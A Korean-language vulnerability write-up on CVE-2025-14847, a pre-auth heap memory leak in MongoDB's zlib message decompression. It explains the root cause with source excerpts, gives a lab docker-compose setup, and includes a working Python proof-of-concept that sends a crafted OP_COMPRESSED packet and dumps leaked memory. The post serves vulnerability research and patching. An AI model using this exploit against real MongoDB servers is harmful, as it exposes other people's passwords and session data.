[히루한줄] MongoDB에서 발생한 Information Disclosure 취약점

URL

Target

  • MongoDB
    • 8.2.0 이상 ~ 8.2.3 미만
    • 8.0.0 이상 ~ 8.0.17 미만
    • 7.0.0 이상 ~ 7.0.28 미만
    • 6.0.0 이상 ~ 6.0.27 미만
    • 5.0.0 이상 ~ 5.0.32 미만
    • 4.4.0 이상 ~ 4.4.30 미만
    • 4.2
    • 4.0
    • 3.6

Explain

Overview

CVE-2025-14847은 MongoDB 서버의 네트워크 메시지 압축 처리 과정에서 길이(length) 값을 부정확하게 취급하여 발생한 pre-auth information disclosure 취약점입니다.
취약한 MongoDB를 사용하는 서버는 인증 여부와 무관하게 공격자가 전송한 조작된 압축 메시지를 처리하는 과정에서 초기화되지 되지 않은 힙 메모리 조각을 원격으로 노출할 수 있게 됩니다.

CVSS v3.1 기준 7.5(High)로 평가되었으며 실제 악용 정황이 보고되어 긴급 패치가 권고되었습니다.

항목 내용
CVE ID CVE-2025-14847
CWE Improper Handling of Length Parameter Inconsistency
Impact 사전 인증 상태에서 초기화되지 않은 힙 메모리 읽기
공격 조건 네트워크 접근 가능 + zlib 네트워크 압축 경로 활성화

Background

MongoDB는 자체 TCP wire protocol을 사용하며 메시지 압축이 적용될 경우, 원본 메시지를 OP_COMPRESSED 포맷으로 래핑합니다.

https://github.com/mongodb/specifications/blob/master/source/compression/OP_COMPRESSED.md

struct OP_COMPRESSED {
		struct MsgHeader {
				int32 messageLength;  
				int32 requestID;
				int32 responseTo;
				int32 opCode = 2012;
		};
		int32_t originalOpcode;
		int32_t uncompressedSize;   // 압축 해제 후 크기
		uint8_t compressorId;       // 압축 알고리즘 식별자
		char    *compressedMessage; // 압축된 페이로드
};

OP_COMPRESSED 포맷에서 압축 해제 후 크기를 나타내는 uncompressedSize는 메시지를 제작하는 클라이언트 측에서 전송되는 값입니다. 서버는 해당 필드를 신뢰하며 버퍼 크기 산정 등의 후속 처리를 수행하게 됩니다.

서버 측 네트워크 압축 허용 여부는 구성 옵션으로 제어되며 기본값은 snappy, zstd, zlib 이며 별도 변경이 없다면 zlib 경로가 허용 리스트에 포함됩니다.

https://www.mongodb.com/ko-kr/docs/manual/reference/configuration-options/

net:
   compression:
      compressors: <string> # snaapy, zstd, zlib

zlib는 호출 시점에 출력 버퍼 크기인 destLen을 인자로 받아 성공 시 실제 압축 해제된 바이트 수를 destLen에 다시 기록합니다. 따라서 할당된 버퍼 크기와 실제 디코딩 결과 데이터 크기는 구분되어야 합니다.

  • 호출 시점의 destLen: 버퍼의 전체 용량 (capacity)
  • 반환 시점의 destLen: 실제 처리된 데이터의 양 (size)

zlib/uncompr.c

int ZEXPORT uncompress2_z(Bytef *dest, z_size_t *destLen, const Bytef *source,
                          z_size_t *sourceLen) {
    z_stream stream;
    int err;
    const uInt max = (uInt)-1;
    z_size_t len, left;

    if (sourceLen == NULL || (*sourceLen > 0 && source == NULL) ||
        destLen == NULL || (*destLen > 0 && dest == NULL))
        return Z_STREAM_ERROR;

    len = *sourceLen;
    left = *destLen;
    if (left == 0 && dest == Z_NULL)
        dest = (Bytef *)&stream.reserved;       /* next_out cannot be NULL */

    stream.next_in = (z_const Bytef *)source;
    stream.avail_in = 0;
    stream.zalloc = (alloc_func)0;
    stream.zfree = (free_func)0;
    stream.opaque = (voidpf)0;

    err = inflateInit(&stream);
    if (err != Z_OK) return err;

    stream.next_out = dest;
    stream.avail_out = 0;

    do {
        if (stream.avail_out == 0) {
            stream.avail_out = left > (z_size_t)max ? max : (uInt)left;
            left -= stream.avail_out;
        }
        if (stream.avail_in == 0) {
            stream.avail_in = len > (z_size_t)max ? max : (uInt)len;
            len -= stream.avail_in;
        }
        err = inflate(&stream, Z_NO_FLUSH);
    } while (err == Z_OK);

    /* Set len and left to the unused input data and unused output space. Set
       *sourceLen to the amount of input consumed. Set *destLen to the amount
       of data produced. */
    len += stream.avail_in;
    left += stream.avail_out;                                     // 남은(unused) 공간 계산
    *sourceLen -= len;
    *destLen -= left;                                             // 전체 크기에서 남은 공간을 빼서 실제 사용량 계산

    inflateEnd(&stream);
    return err == Z_STREAM_END ? Z_OK :
           err == Z_NEED_DICT ? Z_DATA_ERROR  :
           err == Z_BUF_ERROR && len == 0 ? Z_DATA_ERROR :
           err;
}

Root cause

취약점은 서버에서 압축 해제 로직을 수행할 때 클라이언트 측에서 전달된 파라미터를 신뢰했기 때문에 발생하였습니다. 취약한 버전의 서버는 압축 해제 결과의 실제 길이가 아닌 클라이언트 측에서 전달된 버퍼 길이를 정상 데이터 길이로 상위 로직에 전달하였습니다.

이 과정에서 압축해제는 MessageCompressorManager 객체의 decompressMessage() 메소드가 처리합니다. 소스코드와 함께 흐름을 확인해보겠습니다.

1. Inaccurate Metadata

공격자는 OP_COMPRESSEDuncompressedSize를 실제보다 크게 만들어 서버가 과도하게 큰 출력 버퍼를 할당하도록 유도할 수 있습니다. 서버는 클라이언트 측 메시지를 신뢰하여 과도하게 큰 힙 버퍼를 할당[1]하게 됩니다.

mongo7.0.1/src/mongo/transport/message_compressor_manager.cpp:178

size_t bufferSize =
    static_cast<size_t>(compressionHeader.uncompressedSize) + MsgData::MsgDataHeaderSize;
if (bufferSize > MaxMessageSizeBytes) {
    return {ErrorCodes::BadValue,
            "Decompressed message would be larger than maximum message size"};
}

auto outputMessageBuffer = SharedBuffer::allocate(bufferSize); // [1]

2. 과도한 버퍼 할당 및 zlib 호출

서버는 클라이언트 측에서 전달된 uncompressedSize만큼 힙 버퍼를 할당하여 zlib의 uncompress()를 호출[2][3]합니다. 이때 destLen 포인터에 전달되는 capacity는 uncompressedSize와 같습니다.[4]

mongo7.0.1/src/mongo/transport/message_compressor_manager.cpp:186

MsgData::View outMessage(outputMessageBuffer.get());
outMessage.setId(inputHeader.getId());
outMessage.setResponseToMsgId(inputHeader.getResponseToMsgId());
outMessage.setOperation(compressionHeader.originalOpCode);
outMessage.setLen(bufferSize);

DataRangeCursor output(outMessage.data(), outMessage.data() + outMessage.dataLen());

auto sws = compressor->decompressData(input, output);  // [2] zlib uncompress() 상위 호출

mongo7.0.1/src/mongo/transport/message_compressor_zlib.cpp:64

StatusWith<std::size_t> ZlibMessageCompressor::decompressData(ConstDataRange input,
                                                              DataRange output) {
    uLongf length = output.length();
    // [3] zlib uncompress() 호출
    int ret = ::uncompress(const_cast<Bytef*>(reinterpret_cast<const Bytef*>(output.data())),
                           &length, // [4]
                           reinterpret_cast<const Bytef*>(input.data()),
                           input.length());

    if (ret != Z_OK) {
        return Status{ErrorCodes::BadValue, "Compressed message was invalid or corrupted"};
    }

    counterHitDecompress(input.length(), output.length());
    return {output.length()};
}

3. zlib 동작

zlib의 uncompress() 함수는 전달된 입력을 압축 해제한 후 실제로 처리된 데이터 크기를 destLen에 업데이트하여 반환합니다. (정상 동작)

4. MongoDB 측 오류 (root cause)

서버 로직이 zlib에 의해 업데이트된 실제 데이터 크기(destLen)을 무시하고 처음에 클라이언트가 보낸 조작된 uncompressedSize를 유효 데이터의 경계로 간주합니다.

  • 정상적인 호출이라면 sws == output.length()

mongo7.0.1/src/mongo/transport/message_compressor_manager.cpp:199

if (sws.getValue() != static_cast<std::size_t>(compressionHeader.uncompressedSize)) {
    return {ErrorCodes::BadValue, "Decompressing message returned less data than expected"};
}

5. 정보 유출

실제 데이터인 size 지점 이후부터 capacity 지점까지의 영역은 초기화되지 않은 힙 메모리이기 때문에 해당 영역에는 이전 프로세스들이 남긴 민감한 정보(비밀번호, 세션 등)가 존재할 수 있습니다. 후속 파싱 로직이 해당 값들을 정상적인 BSON 데이터로 간주하여 처리하거나 에러 메시지에 포함시킴으로써 메모리 내부 정보가 외부로 노출됩니다.

PoC

취약한 MongoDB를 사용하는 인스턴스에 대해 아래 스크립트로 정보 유출 여부를 확인해볼 수 있습니다.

services:
  mongodb:
    image: mongo:7.0.1
    container_name: mongobleed-hackyboiz
    labels: 
      - "author=millet"
    ports:
      - "27017:27017"
    command: mongod --networkMessageCompressors zlib --bind_ip_all
import zlib
import bson
from pwn import *

OP_MSG = 2013
OP_COMPRESSED = 2012
ZLIB = 2
LEAK_SIZE = 0x100

bson_payload = bson.encode({
    'hello' : 1,
    'dummy' : b'A' * 0x10
})
# flagBits + kind + payload
section_0 = p8(0) + p32(len(bson_payload) + 4) + bson_payload
op_msg_payload = p32(0) + section_0
# compress
compressed_data_payload = zlib.compress(op_msg_payload)
# originalOpcode + uncompressedSize + compressorId + compressedMessage
op_compressed_body = p32(OP_MSG) + p32(LEAK_SIZE) + p8(ZLIB) + compressed_data_payload
tot_len = 16 + len(op_compressed_body)
# MsgHeader + Body
payload = p32(tot_len) + p32(1) + p32(0) + p32(OP_COMPRESSED) + op_compressed_body

try:
    p = remote('localhost', 27017)
    p.send(payload)

    response_header = p.recvn(4)
    tot_response_len = u32(response_header)

    response_body = p.recvn(tot_response_len - 4)
    full_response = response_header + response_body
    response_opcode = u32(full_response[12:16])

    if response_opcode == OP_COMPRESSED:
        compressed_leak = full_response[25:]

        try:
            leaked_data = zlib.decompress(compressed_leak)
            log.success(f'Leaked Data Length :: {len(leaked_data)}')
            print(hexdump(leaked_data))
        except zlib.error as e:
            log.failure(f'Decompression failed :: {e}')
    else:
        log.failure(f'Unexpected OpCode :: {response_opcode}')
except Exception as e:
    log.failure(f'Connection error :: {e}')
finally:
    p.close()

스크립트를 실행하면 사진과 같이 힙 메모리 데이터 유출을 확인할 수 있습니다.

Patch

패치 커밋 505b660에서 decompressData() 메소드에 대해 실제 zlib가 압축 해제한 길이를 반환하도록 수정되었습니다.

Reference